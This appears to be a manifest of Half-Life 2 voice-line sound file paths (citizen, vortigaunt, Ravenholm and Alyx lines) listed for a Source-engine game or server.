+vo/npc/female01/sorrydoc01.wav +vo/npc/female01/sorrydoc02.wav +vo/npc/female01/sorrydoc04.wav +vo/npc/female01/sorryfm01.wav +vo/npc/female01/sorryfm02.wav +vo/npc/female01/squad_affirm01.wav +vo/npc/female01/squad_affirm02.wav +vo/npc/female01/squad_affirm03.wav +vo/npc/female01/squad_affirm04.wav +vo/npc/female01/squad_affirm05.wav +vo/npc/female01/squad_affirm06.wav +vo/npc/female01/squad_affirm07.wav +vo/npc/female01/squad_affirm08.wav +vo/npc/female01/squad_affirm09.wav +vo/npc/female01/squad_approach01.wav +vo/npc/female01/squad_approach02.wav +vo/npc/female01/squad_approach03.wav +vo/npc/female01/squad_approach04.wav +vo/npc/female01/squad_away01.wav +vo/npc/female01/squad_away02.wav +vo/npc/female01/squad_away03.wav +vo/npc/female01/squad_follow01.wav +vo/npc/female01/squad_follow02.wav +vo/npc/female01/squad_follow03.wav +vo/npc/female01/squad_follow04.wav +vo/npc/female01/squad_greet01.wav +vo/npc/female01/squad_greet02.wav +vo/npc/female01/squad_greet04.wav +vo/npc/female01/squad_reinforce_group01.wav +vo/npc/female01/squad_reinforce_group02.wav +vo/npc/female01/squad_reinforce_group03.wav +vo/npc/female01/squad_reinforce_group04.wav +vo/npc/female01/squad_reinforce_single01.wav +vo/npc/female01/squad_reinforce_single02.wav +vo/npc/female01/squad_reinforce_single03.wav +vo/npc/female01/squad_reinforce_single04.wav +vo/npc/female01/squad_train01.wav +vo/npc/female01/squad_train02.wav +vo/npc/female01/squad_train03.wav +vo/npc/female01/squad_train04.wav +vo/npc/female01/startle01.wav +vo/npc/female01/startle02.wav +vo/npc/female01/stopitfm.wav +vo/npc/female01/strider.wav +vo/npc/female01/strider_run.wav +vo/npc/female01/takecover02.wav +vo/npc/female01/thehacks01.wav +vo/npc/female01/thehacks02.wav +vo/npc/female01/thislldonicely01.wav +vo/npc/female01/uhoh.wav +vo/npc/female01/upthere01.wav +vo/npc/female01/upthere02.wav +vo/npc/female01/vanswer01.wav +vo/npc/female01/vanswer02.wav +vo/npc/female01/vanswer03.wav +vo/npc/female01/vanswer04.wav +vo/npc/female01/vanswer05.wav +vo/npc/female01/vanswer06.wav +vo/npc/female01/vanswer07.wav +vo/npc/female01/vanswer08.wav +vo/npc/female01/vanswer09.wav +vo/npc/female01/vanswer10.wav +vo/npc/female01/vanswer11.wav +vo/npc/female01/vanswer12.wav +vo/npc/female01/vanswer13.wav +vo/npc/female01/vanswer14.wav +vo/npc/female01/vquestion01.wav +vo/npc/female01/vquestion02.wav +vo/npc/female01/vquestion03.wav +vo/npc/female01/vquestion04.wav +vo/npc/female01/vquestion05.wav +vo/npc/female01/vquestion06.wav +vo/npc/female01/vquestion07.wav +vo/npc/female01/waitingsomebody.wav +vo/npc/female01/watchout.wav +vo/npc/female01/watchwhat.wav +vo/npc/female01/wetrustedyou01.wav +vo/npc/female01/wetrustedyou02.wav +vo/npc/female01/whoops01.wav +vo/npc/female01/yeah02.wav +vo/npc/female01/youdbetterreload01.wav +vo/npc/female01/yougotit02.wav +vo/npc/female01/zombies01.wav +vo/npc/female01/zombies02.wav +vo/npc/male01/abouttime01.wav +vo/npc/male01/abouttime02.wav +vo/npc/male01/ahgordon01.wav +vo/npc/male01/ahgordon02.wav +vo/npc/male01/ammo01.wav +vo/npc/male01/ammo02.wav +vo/npc/male01/ammo03.wav +vo/npc/male01/ammo04.wav +vo/npc/male01/ammo05.wav +vo/npc/male01/answer01.wav +vo/npc/male01/answer02.wav +vo/npc/male01/answer03.wav +vo/npc/male01/answer04.wav +vo/npc/male01/answer05.wav +vo/npc/male01/answer07.wav +vo/npc/male01/answer08.wav +vo/npc/male01/answer09.wav +vo/npc/male01/answer10.wav +vo/npc/male01/answer11.wav +vo/npc/male01/answer12.wav +vo/npc/male01/answer13.wav +vo/npc/male01/answer14.wav +vo/npc/male01/answer15.wav +vo/npc/male01/answer16.wav +vo/npc/male01/answer17.wav +vo/npc/male01/answer18.wav +vo/npc/male01/answer19.wav +vo/npc/male01/answer20.wav +vo/npc/male01/answer21.wav +vo/npc/male01/answer22.wav +vo/npc/male01/answer23.wav +vo/npc/male01/answer24.wav +vo/npc/male01/answer25.wav +vo/npc/male01/answer26.wav +vo/npc/male01/answer27.wav +vo/npc/male01/answer28.wav +vo/npc/male01/answer29.wav +vo/npc/male01/answer30.wav +vo/npc/male01/answer31.wav +vo/npc/male01/answer32.wav +vo/npc/male01/answer33.wav +vo/npc/male01/answer34.wav +vo/npc/male01/answer35.wav +vo/npc/male01/answer36.wav +vo/npc/male01/answer37.wav +vo/npc/male01/answer38.wav +vo/npc/male01/answer39.wav +vo/npc/male01/answer40.wav +vo/npc/male01/behindyou01.wav +vo/npc/male01/behindyou02.wav +vo/npc/male01/busy02.wav +vo/npc/male01/cit_dropper01.wav +vo/npc/male01/cit_dropper04.wav +vo/npc/male01/civilprotection01.wav +vo/npc/male01/civilprotection02.wav +vo/npc/male01/combine01.wav +vo/npc/male01/combine02.wav +vo/npc/male01/coverwhilereload01.wav +vo/npc/male01/coverwhilereload02.wav +vo/npc/male01/cps01.wav +vo/npc/male01/cps02.wav +vo/npc/male01/docfreeman01.wav +vo/npc/male01/docfreeman02.wav +vo/npc/male01/doingsomething.wav +vo/npc/male01/dontforgetreload01.wav +vo/npc/male01/evenodds.wav +vo/npc/male01/excuseme01.wav +vo/npc/male01/excuseme02.wav +vo/npc/male01/fantastic01.wav +vo/npc/male01/fantastic02.wav +vo/npc/male01/finally.wav +vo/npc/male01/freeman.wav +vo/npc/male01/getdown02.wav +vo/npc/male01/getgoingsoon.wav +vo/npc/male01/gethellout.wav +vo/npc/male01/goodgod.wav +vo/npc/male01/gordead_ans01.wav +vo/npc/male01/gordead_ans02.wav +vo/npc/male01/gordead_ans03.wav +vo/npc/male01/gordead_ans04.wav +vo/npc/male01/gordead_ans05.wav +vo/npc/male01/gordead_ans06.wav +vo/npc/male01/gordead_ans07.wav +vo/npc/male01/gordead_ans08.wav +vo/npc/male01/gordead_ans09.wav +vo/npc/male01/gordead_ans10.wav +vo/npc/male01/gordead_ans11.wav +vo/npc/male01/gordead_ans12.wav +vo/npc/male01/gordead_ans13.wav +vo/npc/male01/gordead_ans14.wav +vo/npc/male01/gordead_ans15.wav +vo/npc/male01/gordead_ans16.wav +vo/npc/male01/gordead_ans17.wav +vo/npc/male01/gordead_ans18.wav +vo/npc/male01/gordead_ans19.wav +vo/npc/male01/gordead_ans20.wav +vo/npc/male01/gordead_ques01.wav +vo/npc/male01/gordead_ques02.wav +vo/npc/male01/gordead_ques03a.wav +vo/npc/male01/gordead_ques03b.wav +vo/npc/male01/gordead_ques04.wav +vo/npc/male01/gordead_ques05.wav +vo/npc/male01/gordead_ques06.wav +vo/npc/male01/gordead_ques07.wav +vo/npc/male01/gordead_ques08.wav +vo/npc/male01/gordead_ques10.wav +vo/npc/male01/gordead_ques11.wav +vo/npc/male01/gordead_ques12.wav +vo/npc/male01/gordead_ques13.wav +vo/npc/male01/gordead_ques14.wav +vo/npc/male01/gordead_ques15.wav +vo/npc/male01/gordead_ques16.wav +vo/npc/male01/gordead_ques17.wav +vo/npc/male01/gotone01.wav +vo/npc/male01/gotone02.wav +vo/npc/male01/gottareload01.wav +vo/npc/male01/gunship02.wav +vo/npc/male01/hacks01.wav +vo/npc/male01/hacks02.wav +vo/npc/male01/headcrabs01.wav +vo/npc/male01/headcrabs02.wav +vo/npc/male01/headsup01.wav +vo/npc/male01/headsup02.wav +vo/npc/male01/health01.wav +vo/npc/male01/health02.wav +vo/npc/male01/health03.wav +vo/npc/male01/health04.wav +vo/npc/male01/health05.wav +vo/npc/male01/hellodrfm01.wav +vo/npc/male01/hellodrfm02.wav +vo/npc/male01/help01.wav +vo/npc/male01/herecomehacks01.wav +vo/npc/male01/herecomehacks02.wav +vo/npc/male01/heretheycome01.wav +vo/npc/male01/heretohelp01.wav +vo/npc/male01/heretohelp02.wav +vo/npc/male01/heydoc01.wav +vo/npc/male01/heydoc02.wav +vo/npc/male01/hi01.wav +vo/npc/male01/hi02.wav +vo/npc/male01/hitingut01.wav +vo/npc/male01/hitingut02.wav +vo/npc/male01/holddownspot01.wav +vo/npc/male01/holddownspot02.wav +vo/npc/male01/illstayhere01.wav +vo/npc/male01/imhurt01.wav +vo/npc/male01/imhurt02.wav +vo/npc/male01/imstickinghere01.wav +vo/npc/male01/incoming02.wav +vo/npc/male01/itsamanhack01.wav +vo/npc/male01/itsamanhack02.wav +vo/npc/male01/leadon01.wav +vo/npc/male01/leadon02.wav +vo/npc/male01/leadtheway01.wav +vo/npc/male01/leadtheway02.wav +vo/npc/male01/letsgo01.wav +vo/npc/male01/letsgo02.wav +vo/npc/male01/likethat.wav +vo/npc/male01/littlecorner01.wav +vo/npc/male01/lookoutfm01.wav +vo/npc/male01/lookoutfm02.wav +vo/npc/male01/moan01.wav +vo/npc/male01/moan02.wav +vo/npc/male01/moan03.wav +vo/npc/male01/moan04.wav +vo/npc/male01/moan05.wav +vo/npc/male01/myarm01.wav +vo/npc/male01/myarm02.wav +vo/npc/male01/mygut02.wav +vo/npc/male01/myleg01.wav +vo/npc/male01/myleg02.wav +vo/npc/male01/nice.wav +vo/npc/male01/no01.wav +vo/npc/male01/no02.wav +vo/npc/male01/notthemanithought01.wav +vo/npc/male01/notthemanithought02.wav +vo/npc/male01/ohno.wav +vo/npc/male01/ok01.wav +vo/npc/male01/ok02.wav +vo/npc/male01/okimready01.wav +vo/npc/male01/okimready02.wav +vo/npc/male01/okimready03.wav +vo/npc/male01/oneforme.wav +vo/npc/male01/onyourside.wav +vo/npc/male01/outofyourway02.wav +vo/npc/male01/overhere01.wav +vo/npc/male01/overthere01.wav +vo/npc/male01/overthere02.wav +vo/npc/male01/ow01.wav +vo/npc/male01/ow02.wav +vo/npc/male01/pain01.wav +vo/npc/male01/pain02.wav +vo/npc/male01/pain03.wav +vo/npc/male01/pain04.wav +vo/npc/male01/pain05.wav +vo/npc/male01/pain06.wav +vo/npc/male01/pain07.wav +vo/npc/male01/pain08.wav +vo/npc/male01/pain09.wav +vo/npc/male01/pardonme01.wav +vo/npc/male01/pardonme02.wav +vo/npc/male01/question01.wav +vo/npc/male01/question02.wav +vo/npc/male01/question03.wav +vo/npc/male01/question04.wav +vo/npc/male01/question05.wav +vo/npc/male01/question06.wav +vo/npc/male01/question07.wav +vo/npc/male01/question08.wav +vo/npc/male01/question09.wav +vo/npc/male01/question10.wav +vo/npc/male01/question11.wav +vo/npc/male01/question12.wav +vo/npc/male01/question13.wav +vo/npc/male01/question14.wav +vo/npc/male01/question15.wav +vo/npc/male01/question16.wav +vo/npc/male01/question17.wav +vo/npc/male01/question18.wav +vo/npc/male01/question19.wav +vo/npc/male01/question20.wav +vo/npc/male01/question21.wav +vo/npc/male01/question22.wav +vo/npc/male01/question23.wav +vo/npc/male01/question25.wav +vo/npc/male01/question26.wav +vo/npc/male01/question27.wav +vo/npc/male01/question28.wav +vo/npc/male01/question29.wav +vo/npc/male01/question30.wav +vo/npc/male01/readywhenyouare01.wav +vo/npc/male01/readywhenyouare02.wav +vo/npc/male01/reloadfm01.wav +vo/npc/male01/reloadfm02.wav +vo/npc/male01/runforyourlife01.wav +vo/npc/male01/runforyourlife02.wav +vo/npc/male01/runforyourlife03.wav +vo/npc/male01/scanners01.wav +vo/npc/male01/scanners02.wav +vo/npc/male01/sorry01.wav +vo/npc/male01/sorry02.wav +vo/npc/male01/sorry03.wav +vo/npc/male01/sorrydoc01.wav +vo/npc/male01/sorrydoc02.wav +vo/npc/male01/sorrydoc04.wav +vo/npc/male01/sorryfm01.wav +vo/npc/male01/sorryfm02.wav +vo/npc/male01/squad_affirm01.wav +vo/npc/male01/squad_affirm02.wav +vo/npc/male01/squad_affirm03.wav +vo/npc/male01/squad_affirm04.wav +vo/npc/male01/squad_affirm05.wav +vo/npc/male01/squad_affirm06.wav +vo/npc/male01/squad_affirm07.wav +vo/npc/male01/squad_affirm08.wav +vo/npc/male01/squad_affirm09.wav +vo/npc/male01/squad_approach01.wav +vo/npc/male01/squad_approach02.wav +vo/npc/male01/squad_approach03.wav +vo/npc/male01/squad_approach04.wav +vo/npc/male01/squad_away01.wav +vo/npc/male01/squad_away02.wav +vo/npc/male01/squad_away03.wav +vo/npc/male01/squad_follow01.wav +vo/npc/male01/squad_follow02.wav +vo/npc/male01/squad_follow03.wav +vo/npc/male01/squad_follow04.wav +vo/npc/male01/squad_greet01.wav +vo/npc/male01/squad_greet02.wav +vo/npc/male01/squad_greet04.wav +vo/npc/male01/squad_reinforce_group01.wav +vo/npc/male01/squad_reinforce_group02.wav +vo/npc/male01/squad_reinforce_group03.wav +vo/npc/male01/squad_reinforce_group04.wav +vo/npc/male01/squad_reinforce_single01.wav +vo/npc/male01/squad_reinforce_single02.wav +vo/npc/male01/squad_reinforce_single03.wav +vo/npc/male01/squad_reinforce_single04.wav +vo/npc/male01/squad_train01.wav +vo/npc/male01/squad_train02.wav +vo/npc/male01/squad_train03.wav +vo/npc/male01/squad_train04.wav +vo/npc/male01/startle01.wav +vo/npc/male01/startle02.wav +vo/npc/male01/stopitfm.wav +vo/npc/male01/strider.wav +vo/npc/male01/strider_run.wav +vo/npc/male01/takecover02.wav +vo/npc/male01/thehacks01.wav +vo/npc/male01/thehacks02.wav +vo/npc/male01/thislldonicely01.wav +vo/npc/male01/uhoh.wav +vo/npc/male01/upthere01.wav +vo/npc/male01/upthere02.wav +vo/npc/male01/vanswer01.wav +vo/npc/male01/vanswer02.wav +vo/npc/male01/vanswer03.wav +vo/npc/male01/vanswer04.wav +vo/npc/male01/vanswer05.wav +vo/npc/male01/vanswer06.wav +vo/npc/male01/vanswer07.wav +vo/npc/male01/vanswer08.wav +vo/npc/male01/vanswer09.wav +vo/npc/male01/vanswer10.wav +vo/npc/male01/vanswer11.wav +vo/npc/male01/vanswer12.wav +vo/npc/male01/vanswer13.wav +vo/npc/male01/vanswer14.wav +vo/npc/male01/vquestion01.wav +vo/npc/male01/vquestion02.wav +vo/npc/male01/vquestion03.wav +vo/npc/male01/vquestion04.wav +vo/npc/male01/vquestion05.wav +vo/npc/male01/vquestion06.wav +vo/npc/male01/vquestion07.wav +vo/npc/male01/waitingsomebody.wav +vo/npc/male01/watchout.wav +vo/npc/male01/watchwhat.wav +vo/npc/male01/wetrustedyou01.wav +vo/npc/male01/wetrustedyou02.wav +vo/npc/male01/whoops01.wav +vo/npc/male01/yeah02.wav +vo/npc/male01/youdbetterreload01.wav +vo/npc/male01/yougotit02.wav +vo/npc/male01/zombies01.wav +vo/npc/male01/zombies02.wav +vo/npc/vortigaunt/acceptcharge.wav +vo/npc/vortigaunt/acceptenergy.wav +vo/npc/vortigaunt/accompany.wav +vo/npc/vortigaunt/affirmed.wav +vo/npc/vortigaunt/alldear.wav +vo/npc/vortigaunt/allfornow.wav +vo/npc/vortigaunt/allinoneinall.wav +vo/npc/vortigaunt/allowme.wav +vo/npc/vortigaunt/allowrecharge.wav +vo/npc/vortigaunt/allwecanspare.wav +vo/npc/vortigaunt/allwehave.wav +vo/npc/vortigaunt/assent.wav +vo/npc/vortigaunt/asyouwish.wav +vo/npc/vortigaunt/beofservice.wav +vo/npc/vortigaunt/bodyyours.wav +vo/npc/vortigaunt/calm.wav +vo/npc/vortigaunt/canconvince.wav +vo/npc/vortigaunt/cannotfire.wav +vo/npc/vortigaunt/caution.wav +vo/npc/vortigaunt/cautionfm.wav +vo/npc/vortigaunt/certainly.wav +vo/npc/vortigaunt/corporeal.wav +vo/npc/vortigaunt/dedicate.wav +vo/npc/vortigaunt/done.wav +vo/npc/vortigaunt/dreamed.wav +vo/npc/vortigaunt/empowerus.wav +vo/npc/vortigaunt/energyempower.wav +vo/npc/vortigaunt/fearfailed.wav +vo/npc/vortigaunt/fmbeware.wav +vo/npc/vortigaunt/fmcanuse.wav +vo/npc/vortigaunt/fmdoesushonor.wav +vo/npc/vortigaunt/fmhonorsus.wav +vo/npc/vortigaunt/fminway.wav +vo/npc/vortigaunt/fmknowsbest.wav +vo/npc/vortigaunt/fmmustbeware.wav +vo/npc/vortigaunt/fmmustfollow.wav +vo/npc/vortigaunt/fmmustmove.wav +vo/npc/vortigaunt/fmstandstill.wav +vo/npc/vortigaunt/followfm.wav +vo/npc/vortigaunt/forfreedom.wav +vo/npc/vortigaunt/forthefm.wav +vo/npc/vortigaunt/forward.wav +vo/npc/vortigaunt/freeman.wav +vo/npc/vortigaunt/giveover.wav +vo/npc/vortigaunt/gladly.wav +vo/npc/vortigaunt/gloriousend.wav +vo/npc/vortigaunt/greetingsfm.wav +vo/npc/vortigaunt/halt.wav +vo/npc/vortigaunt/here.wav +vo/npc/vortigaunt/herewestay.wav +vo/npc/vortigaunt/hold.wav +vo/npc/vortigaunt/holdorcantcharge.wav +vo/npc/vortigaunt/holdstill.wav +vo/npc/vortigaunt/honorfollow.wav +vo/npc/vortigaunt/honorours.wav +vo/npc/vortigaunt/hopeless.wav +vo/npc/vortigaunt/ifyoumove.wav +vo/npc/vortigaunt/isitthefm.wav +vo/npc/vortigaunt/itishonor.wav +vo/npc/vortigaunt/itisthefm.wav +vo/npc/vortigaunt/keepfmsafe.wav +vo/npc/vortigaunt/leadon.wav +vo/npc/vortigaunt/leadus.wav +vo/npc/vortigaunt/livetoserve.wav +vo/npc/vortigaunt/morethanmeets.wav +vo/npc/vortigaunt/movingtarget.wav +vo/npc/vortigaunt/mutual.wav +vo/npc/vortigaunt/mystery.wav +vo/npc/vortigaunt/neuroprints.wav +vo/npc/vortigaunt/nodenexus.wav +vo/npc/vortigaunt/onward.wav +vo/npc/vortigaunt/opaque.wav +vo/npc/vortigaunt/optical.wav +vo/npc/vortigaunt/ourhonor.wav +vo/npc/vortigaunt/ourplacehere.wav +vo/npc/vortigaunt/passon.wav +vo/npc/vortigaunt/persevere.wav +vo/npc/vortigaunt/pleasure.wav +vo/npc/vortigaunt/poet.wav +vo/npc/vortigaunt/prepare.wav +vo/npc/vortigaunt/prevail.wav +vo/npc/vortigaunt/propitious.wav +vo/npc/vortigaunt/putaside.wav +vo/npc/vortigaunt/reasondelay.wav +vo/npc/vortigaunt/regrettable.wav +vo/npc/vortigaunt/rememberus.wav +vo/npc/vortigaunt/returntoall.wav +vo/npc/vortigaunt/returnvoid.wav +vo/npc/vortigaunt/salute.wav +vo/npc/vortigaunt/satisfaction.wav +vo/npc/vortigaunt/seebeforeoureye.wav +vo/npc/vortigaunt/seenworse.wav +vo/npc/vortigaunt/servebetterhere.wav +vo/npc/vortigaunt/standclear.wav +vo/npc/vortigaunt/stillhere.wav +vo/npc/vortigaunt/surge.wav +vo/npc/vortigaunt/takeus.wav +vo/npc/vortigaunt/tethercut.wav +vo/npc/vortigaunt/thatisall.wav +vo/npc/vortigaunt/thefreeman.wav +vo/npc/vortigaunt/tothevoid.wav +vo/npc/vortigaunt/troubleus.wav +vo/npc/vortigaunt/trulyitis.wav +vo/npc/vortigaunt/undeserving.wav +vo/npc/vortigaunt/vanswer01.wav +vo/npc/vortigaunt/vanswer02.wav +vo/npc/vortigaunt/vanswer03.wav +vo/npc/vortigaunt/vanswer04.wav +vo/npc/vortigaunt/vanswer05.wav +vo/npc/vortigaunt/vanswer06.wav +vo/npc/vortigaunt/vanswer07.wav +vo/npc/vortigaunt/vanswer08.wav +vo/npc/vortigaunt/vanswer09.wav +vo/npc/vortigaunt/vanswer10.wav +vo/npc/vortigaunt/vanswer11.wav +vo/npc/vortigaunt/vanswer12.wav +vo/npc/vortigaunt/vanswer13.wav +vo/npc/vortigaunt/vanswer14.wav +vo/npc/vortigaunt/vanswer15.wav +vo/npc/vortigaunt/vanswer16.wav +vo/npc/vortigaunt/vanswer17.wav +vo/npc/vortigaunt/vanswer18.wav +vo/npc/vortigaunt/vmono_03.wav +vo/npc/vortigaunt/vmono_04.wav +vo/npc/vortigaunt/vmono_05.wav +vo/npc/vortigaunt/vmono_06.wav +vo/npc/vortigaunt/vmono_07.wav +vo/npc/vortigaunt/vmono_08.wav +vo/npc/vortigaunt/vmono_09.wav +vo/npc/vortigaunt/vmono_10.wav +vo/npc/vortigaunt/vmono_11.wav +vo/npc/vortigaunt/vmono_12.wav +vo/npc/vortigaunt/vmono_13.wav +vo/npc/vortigaunt/vmono_14.wav +vo/npc/vortigaunt/vmono_15.wav +vo/npc/vortigaunt/vmono_16.wav +vo/npc/vortigaunt/vmono_17.wav +vo/npc/vortigaunt/vmono_18.wav +vo/npc/vortigaunt/vmono_19.wav +vo/npc/vortigaunt/vmono_20.wav +vo/npc/vortigaunt/vmono_21.wav +vo/npc/vortigaunt/vmono_22.wav +vo/npc/vortigaunt/vmono_23.wav +vo/npc/vortigaunt/vmono_24.wav +vo/npc/vortigaunt/vmono_25.wav +vo/npc/vortigaunt/vmono_26.wav +vo/npc/vortigaunt/vmono_27.wav +vo/npc/vortigaunt/vmono_28.wav +vo/npc/vortigaunt/vmono_29.wav +vo/npc/vortigaunt/vmono_30.wav +vo/npc/vortigaunt/vortigese02.wav +vo/npc/vortigaunt/vortigese03.wav +vo/npc/vortigaunt/vortigese04.wav +vo/npc/vortigaunt/vortigese05.wav +vo/npc/vortigaunt/vortigese07.wav +vo/npc/vortigaunt/vortigese08.wav +vo/npc/vortigaunt/vortigese09.wav +vo/npc/vortigaunt/vortigese11.wav +vo/npc/vortigaunt/vortigese12.wav +vo/npc/vortigaunt/vques01.wav +vo/npc/vortigaunt/vques02.wav +vo/npc/vortigaunt/vques03.wav +vo/npc/vortigaunt/vques04.wav +vo/npc/vortigaunt/vques05.wav +vo/npc/vortigaunt/vques06.wav +vo/npc/vortigaunt/vques07.wav +vo/npc/vortigaunt/vques08.wav +vo/npc/vortigaunt/vques09.wav +vo/npc/vortigaunt/vques10.wav +vo/npc/vortigaunt/ware.wav +vo/npc/vortigaunt/warefm.wav +vo/npc/vortigaunt/warningfm.wav +vo/npc/vortigaunt/weareyours.wav +vo/npc/vortigaunt/webeofuse.wav +vo/npc/vortigaunt/weclaimyou.wav +vo/npc/vortigaunt/wefollowfm.wav +vo/npc/vortigaunt/wehonored.wav +vo/npc/vortigaunt/weknowyou.wav +vo/npc/vortigaunt/wellmet.wav +vo/npc/vortigaunt/weshare.wav +vo/npc/vortigaunt/wewillcharge.wav +vo/npc/vortigaunt/wewillhelp.wav +vo/npc/vortigaunt/whereto.wav +vo/npc/vortigaunt/willremain.wav +vo/npc/vortigaunt/worthless.wav +vo/npc/vortigaunt/yes.wav +vo/npc/vortigaunt/yesforward.wav +vo/ravenholm/aimforhead.wav +vo/ravenholm/attic_apologize.wav +vo/ravenholm/bucket_almost.wav +vo/ravenholm/bucket_brake.wav +vo/ravenholm/bucket_guardwell.wav +vo/ravenholm/bucket_patience.wav +vo/ravenholm/bucket_stepin.wav +vo/ravenholm/bucket_thereyouare.wav +vo/ravenholm/bucket_waited.wav +vo/ravenholm/cartrap_better.wav +vo/ravenholm/cartrap_iamgrig.wav +vo/ravenholm/engage01.wav +vo/ravenholm/engage02.wav +vo/ravenholm/engage03.wav +vo/ravenholm/engage04.wav +vo/ravenholm/engage05.wav +vo/ravenholm/engage06.wav +vo/ravenholm/engage07.wav +vo/ravenholm/engage08.wav +vo/ravenholm/engage09.wav +vo/ravenholm/exit_darkroad.wav +vo/ravenholm/exit_goquickly.wav +vo/ravenholm/exit_hurry.wav +vo/ravenholm/exit_nag01.wav +vo/ravenholm/exit_nag02.wav +vo/ravenholm/exit_salvation.wav +vo/ravenholm/firetrap_freeuse.wav +vo/ravenholm/firetrap_lookout.wav +vo/ravenholm/firetrap_vigil.wav +vo/ravenholm/firetrap_welldone.wav +vo/ravenholm/grave_follow.wav +vo/ravenholm/grave_stayclose.wav +vo/ravenholm/madlaugh01.wav +vo/ravenholm/madlaugh02.wav +vo/ravenholm/madlaugh03.wav +vo/ravenholm/madlaugh04.wav +vo/ravenholm/monk_blocked01.wav +vo/ravenholm/monk_blocked02.wav +vo/ravenholm/monk_blocked03.wav +vo/ravenholm/monk_coverme01.wav +vo/ravenholm/monk_coverme02.wav +vo/ravenholm/monk_coverme03.wav +vo/ravenholm/monk_coverme04.wav +vo/ravenholm/monk_coverme05.wav +vo/ravenholm/monk_coverme07.wav +vo/ravenholm/monk_danger01.wav +vo/ravenholm/monk_danger02.wav +vo/ravenholm/monk_danger03.wav +vo/ravenholm/monk_death07.wav +vo/ravenholm/monk_followme.wav +vo/ravenholm/monk_giveammo01.wav +vo/ravenholm/monk_givehealth01.wav +vo/ravenholm/monk_helpme01.wav +vo/ravenholm/monk_helpme02.wav +vo/ravenholm/monk_helpme03.wav +vo/ravenholm/monk_helpme04.wav +vo/ravenholm/monk_helpme05.wav +vo/ravenholm/monk_kill01.wav +vo/ravenholm/monk_kill02.wav +vo/ravenholm/monk_kill03.wav +vo/ravenholm/monk_kill04.wav +vo/ravenholm/monk_kill05.wav +vo/ravenholm/monk_kill06.wav +vo/ravenholm/monk_kill07.wav +vo/ravenholm/monk_kill08.wav +vo/ravenholm/monk_kill09.wav +vo/ravenholm/monk_kill10.wav +vo/ravenholm/monk_kill11.wav +vo/ravenholm/monk_mourn01.wav +vo/ravenholm/monk_mourn02.wav +vo/ravenholm/monk_mourn03.wav +vo/ravenholm/monk_mourn04.wav +vo/ravenholm/monk_mourn05.wav +vo/ravenholm/monk_mourn06.wav +vo/ravenholm/monk_mourn07.wav +vo/ravenholm/monk_overhere.wav +vo/ravenholm/monk_pain01.wav +vo/ravenholm/monk_pain02.wav +vo/ravenholm/monk_pain03.wav +vo/ravenholm/monk_pain04.wav +vo/ravenholm/monk_pain05.wav +vo/ravenholm/monk_pain06.wav +vo/ravenholm/monk_pain07.wav +vo/ravenholm/monk_pain08.wav +vo/ravenholm/monk_pain09.wav +vo/ravenholm/monk_pain10.wav +vo/ravenholm/monk_pain12.wav +vo/ravenholm/monk_quicklybro.wav +vo/ravenholm/monk_rant01.wav +vo/ravenholm/monk_rant02.wav +vo/ravenholm/monk_rant03.wav +vo/ravenholm/monk_rant04.wav +vo/ravenholm/monk_rant05.wav +vo/ravenholm/monk_rant06.wav +vo/ravenholm/monk_rant07.wav +vo/ravenholm/monk_rant08.wav +vo/ravenholm/monk_rant09.wav +vo/ravenholm/monk_rant10.wav +vo/ravenholm/monk_rant11.wav +vo/ravenholm/monk_rant12.wav +vo/ravenholm/monk_rant13.wav +vo/ravenholm/monk_rant14.wav +vo/ravenholm/monk_rant15.wav +vo/ravenholm/monk_rant16.wav +vo/ravenholm/monk_rant17.wav +vo/ravenholm/monk_rant18.wav +vo/ravenholm/monk_rant19.wav +vo/ravenholm/monk_rant20.wav +vo/ravenholm/monk_rant21.wav +vo/ravenholm/monk_rant22.wav +vo/ravenholm/monk_stayclosebro.wav +vo/ravenholm/pyre_anotherlife.wav +vo/ravenholm/pyre_keepeye.wav +vo/ravenholm/shotgun_advice.wav +vo/ravenholm/shotgun_bettergun.wav +vo/ravenholm/shotgun_catch.wav +vo/ravenholm/shotgun_closer.wav +vo/ravenholm/shotgun_hush.wav +vo/ravenholm/shotgun_keepitclose.wav +vo/ravenholm/shotgun_moveon.wav +vo/ravenholm/shotgun_overhere.wav +vo/ravenholm/shotgun_stirreduphell.wav +vo/ravenholm/shotgun_theycome.wav +vo/ravenholm/wrongside_howcome.wav +vo/ravenholm/wrongside_mendways.wav +vo/ravenholm/wrongside_seekchurch.wav +vo/ravenholm/wrongside_town.wav +vo/ravenholm/yard_greetings.wav +vo/ravenholm/yard_shepherd.wav +vo/ravenholm/yard_suspect.wav +vo/ravenholm/yard_traps.wav +vo/Streetwar/Alyx_gate/al_ah.wav +vo/Streetwar/Alyx_gate/al_ahno.wav +vo/Streetwar/Alyx_gate/al_cmoncmon.wav +vo/Streetwar/Alyx_gate/al_comeon03_r.wav +vo/Streetwar/Alyx_gate/al_commandcenter.wav +vo/Streetwar/Alyx_gate/al_coreexposed.wav +vo/Streetwar/Alyx_gate/al_coreexposed_r.wav +vo/Streetwar/Alyx_gate/al_disablegen.wav +vo/Streetwar/Alyx_gate/al_exposecore_a.wav +vo/Streetwar/Alyx_gate/al_exposecore_b.wav +vo/Streetwar/Alyx_gate/al_extshield.wav +vo/Streetwar/Alyx_gate/al_extshield_r.wav +vo/Streetwar/Alyx_gate/al_farside.wav +vo/Streetwar/Alyx_gate/al_gateisopen_r.wav +vo/Streetwar/Alyx_gate/al_gordonrun.wav +vo/Streetwar/Alyx_gate/al_hadfeeling.wav +vo/Streetwar/Alyx_gate/al_heregoes.wav +vo/Streetwar/Alyx_gate/al_hey.wav +vo/Streetwar/Alyx_gate/al_hurry.wav +vo/Streetwar/Alyx_gate/al_imwaiting_r.wav +vo/Streetwar/Alyx_gate/al_inshield.wav +vo/Streetwar/Alyx_gate/al_inshield_r.wav +vo/Streetwar/Alyx_gate/al_letsgo.wav +vo/Streetwar/Alyx_gate/al_letsgo01.wav +vo/Streetwar/Alyx_gate/al_letsgo02_r.wav +vo/Streetwar/Alyx_gate/al_no.wav +vo/Streetwar/Alyx_gate/al_nottoolong.wav +vo/Streetwar/Alyx_gate/al_nowtobarney.wav +vo/Streetwar/Alyx_gate/al_okthisisit.wav +vo/Streetwar/Alyx_gate/al_openinggate.wav +vo/Streetwar/Alyx_gate/al_readywhenyou.wav +vo/Streetwar/Alyx_gate/al_scout.wav +vo/Streetwar/Alyx_gate/al_standardpanel.wav +vo/Streetwar/Alyx_gate/al_thatsit.wav +vo/Streetwar/Alyx_gate/al_thatsit_r.wav +vo/Streetwar/Alyx_gate/al_thatway.wav +vo/Streetwar/Alyx_gate/al_theysawus.wav +vo/Streetwar/Alyx_gate/al_thrudownthere.wav +vo/Streetwar/Alyx_gate/al_usedtobe.wav 